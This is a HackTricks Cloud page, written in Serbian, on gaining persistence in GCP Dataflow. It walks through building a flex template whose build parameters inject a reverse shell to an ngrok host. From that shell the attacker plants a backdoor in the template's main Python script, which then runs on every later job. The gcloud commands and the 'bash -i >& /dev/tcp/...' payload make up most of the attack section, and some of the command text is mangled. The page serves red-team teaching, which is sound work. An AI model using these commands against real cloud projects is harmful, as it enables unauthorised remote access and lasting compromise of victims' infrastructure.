GCP - Dataflow Persistencija
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Dataflow
Nevidljiva persistencija u izgrađenom kontejneru
Prateći tutorial iz dokumentacije možete kreirati novi (npr. python) flex template:
Kreirajte Dataflow flex template sa backdoor-om
```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_startedCreate repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY
Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT
–repository-format=docker
–location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev
Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
–image-gcr-path “us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest”
–sdk-language “PYTHON”
–flex-template-base-image “PYTHON3”
–metadata-file “metadata.json”
–py-path “.”
–env “FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py”
–env “FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt”
–env “PYTHONWARNINGS=all:0:antigravity.x:0:0”
–env “/bin/bash -c ‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1’ & #%s”
–region=us-central1
</details>
**Dok se gradi, dobićete reverse shell** (možete zloupotrebiti env variables kao u prethodnom primeru ili druge params koji postavljaju Docker file da izvrši proizvoljne stvari). U tom trenutku, unutar reverse shell-a, moguće je **otići u `/template` direktorijum i izmeniti kod glavnog python skripta koji će biti izvršen (u našem primeru ovo je `getting_started.py`)**. Postavite svoj backdoor ovde tako da se svaki put kada se job izvrši, on izvrši.
Zatim, sledeći put kada se job izvrši, kompromitovani container koji je izgrađen biće pokrenut:
<details>
<summary>Run Dataflow template</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

